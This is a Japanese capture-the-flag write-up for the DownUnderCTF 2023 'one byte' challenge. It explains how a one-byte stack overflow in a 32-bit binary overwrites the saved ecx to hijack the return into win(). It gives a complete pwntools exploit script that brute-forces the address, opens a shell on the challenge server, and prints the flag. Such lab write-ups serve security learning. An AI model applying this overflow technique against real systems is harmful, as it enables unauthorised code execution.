DownUnderCTF 2023 writeup
ductfが終わった後に1問だけ解いたので適当writeup
one byte[189 solves]
問題概要
渡されるソースコードと実行ファイルに設定されている防御機構は以下
#include <stdio.h> #include <unistd.h> #include <stdlib.h> void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); } void win() { system("/bin/sh"); } int main() { init(); printf("Free junk: 0x%lx\n", init); printf("Your turn: "); char buf[0x10]; read(0, buf, 0x11); }
checksec結果
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
32bitマシンですね。canaryだけついていないっぽい。ソースコードを見る限り実行すると謎にinitのアドレスをリークしてくれますね
Here's a one byte buffer overflow!
と問題文にある通り、readに渡されているbufは0x10(=16)文字が格納できますが、readで0x11(=17)文字書き込めてしまうので1バイトのbuffer overflow(bof)が狙えますね。1バイトしか溢れなかったらebpの書き換えしかできないじゃん~意味ないじゃん~と思う所ですが、ctfなので一旦どこの1バイトを書き換えられるのか確認してみます。
bofの書き込み場所
取り敢えずアセンブラを読みます。gdbでdisassemble main
とかしたら読めます。ちなみにgdbで実行ファイルの解析を始めるときはgdb -q <実行ファイル名>
で行けます
0x0000122e <+0>: lea ecx,[esp+0x4] 0x00001232 <+4>: and esp,0xfffffff0 0x00001235 <+7>: push DWORD PTR [ecx-0x4] 0x00001238 <+10>: push ebp 0x00001239 <+11>: mov ebp,esp 0x0000123b <+13>: push ebx 0x0000123c <+14>: push ecx 0x0000123d <+15>: sub esp,0x10 0x00001240 <+18>: call 0x10c0 <__x86.get_pc_thunk.bx> 0x00001245 <+23>: add ebx,0x2daf 0x0000124b <+29>: call 0x11bd <init> 0x00001250 <+34>: sub esp,0x8 0x00001253 <+37>: lea eax,[ebx-0x2e37] 0x00001259 <+43>: push eax 0x0000125a <+44>: lea eax,[ebx-0x1fe4] 0x00001260 <+50>: push eax 0x00001261 <+51>: call 0x1060 <printf@plt> 0x00001266 <+56>: add esp,0x10 0x00001269 <+59>: sub esp,0xc 0x0000126c <+62>: lea eax,[ebx-0x1fd2] 0x00001272 <+68>: push eax 0x00001273 <+69>: call 0x1060 <printf@plt> 0x00001278 <+74>: add esp,0x10 0x0000127b <+77>: sub esp,0x4 0x0000127e <+80>: push 0x11 0x00001280 <+82>: lea eax,[ebp-0x18] 0x00001283 <+85>: push eax 0x00001284 <+86>: push 0x0 0x00001286 <+88>: call 0x1050 <read@plt> 0x0000128b <+93>: add esp,0x10 0x0000128e <+96>: mov eax,0x0 0x00001293 <+101>: lea esp,[ebp-0x8] 0x00001296 <+104>: pop ecx 0x00001297 <+105>: pop ebx 0x00001298 <+106>: pop ebp 0x00001299 <+107>: lea esp,[ecx-0x4] 0x0000129c <+110>: ret
ぱっと見(実はよく考えましたが)関数の起動処理と終了処理が64bitマシンと違う気がしますね*1。抜き出すと以下の部分です。
起動処理
0x0000122e <+0>: lea ecx,[esp+0x4] 0x00001232 <+4>: and esp,0xfffffff0 0x00001235 <+7>: push DWORD PTR [ecx-0x4] 0x00001238 <+10>: push ebp 0x00001239 <+11>: mov ebp,esp 0x0000123b <+13>: push ebx 0x0000123c <+14>: push ecx 0x0000123d <+15>: sub esp,0x10
終了処理
0x0000128b <+93>: add esp,0x10 0x0000128e <+96>: mov eax,0x0 0x00001293 <+101>: lea esp,[ebp-0x8] 0x00001296 <+104>: pop ecx 0x00001297 <+105>: pop ebx 0x00001298 <+106>: pop ebp 0x00001299 <+107>: lea esp,[ecx-0x4] 0x0000129c <+110>: ret
普通64bitマシンだと呼び出し元のrbpをpopしてから新たな関数のベースポインタに移動(mov rbp rsp)させて、rspを使う領域分よしなにsubするだけだと思うんですが、なんかやたら処理が多いですね。起動処理時に確保されるスタックを書き出してみるとこんな感じになります。0x20はrbp-0x20のアドレスを指します。
- 0x20:
- 0x1c:
- 0x18:
- 0x14:
- 0x10: ecx
- 0x0c: ebx
- 0x08: ebp
- 0x04: ecx-0x4のポインタ
0x20-0x14は、起動時にはbuf用の領域が確保されているだけなので何も書いていません。この特殊なスタックの積まれ方だと、bofしたときに書き換えられるのはecxの下位1バイトだということがわかります。つまりecx=0xffffd130が元の値だった場合、0x11(=17)回aを書き込むとこんな感じになります
- 0x20: aaaa
- 0x1c: aaaa
- 0x18: aaaa
- 0x14: aaaa
- 0x10: 0xffffd161
- 0x0c: ebx
- 0x08: ebp
- 0x04: ecx-0x4のポインタ
0x61がasciiの場合aにあたるので、ecxの末尾が61に書き換えられています。このスタックの状態を仮定して終了処理を順番に0x1293<+101>から追っていくと次のようになります。
- espの値をebp-0x8のポインタに変更する。つまり0x10を指す。
- ecxをpop。この時入る値は0x10に格納されている値(0xffffd161)
- ebxをpop。この時入る値は0x0cに入っている値
- ebpをpop。この時入る値は0x08に入っている値
- espの値をecx-0x4のポインタに変更する。つまり0xffffd161 - 0x4 = 0xffffd15d
- ret命令でespに格納されているアドレスの値(0xffffd15d)にjmp
5,6の処理に着目すると、bofによってecxの値が書き換わることで、最終的に関数終了時のretで遷移する先が変わってしまっているのがわかります。つまりbofによってreturnアドレスを変更できることがわかりました。
解法
ここまでで大体exploitの材料は揃ったので、どうやって攻撃するか考えます。ecx-0x4に格納される値をwinのアドレスに変更できればいいわけなので、入力でwinのアドレスを与えておいて、ecx-0x4がちょうどそのスタックを指すように調整してやればよさそうです。ただ今回はアドレスの値が毎回変わる*2ので、下位1バイトを適当な値に固定し、そのうち都合いい感じにアドレスが書き換わることを期待してwhileを回すようにしました。*3
#!/usr/bin/env python3 from pwn import * exe = ELF("./onebyte_patched") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("2023.ductf.dev", 30018) return r def main(): while(1): r = conn() dist = 0x1203 - 0x11bd # winとinitのアドレスの差を計算 r.recvuntil(b"Free junk: ") address_init = int(r.recvline().decode(), 0) # initのアドレスを取得 address_win = address_init + dist # winのアドレスを計算 info(f'win() address: {hex(address_init)}') payload = p32(address_win) * 4 + b"L" # bofで書き換える値は4の倍数なら何でも。 r.sendlineafter(b"Your turn: ", payload) try: r.sendline(b"cat flag.txt") log.info(r.recvline()) r.interactive() break except: r.close() if __name__ == "__main__": main()
実行したら以下の文字列が見えます
DUCTF{all_1t_t4k3s_is_0n3!}
わーい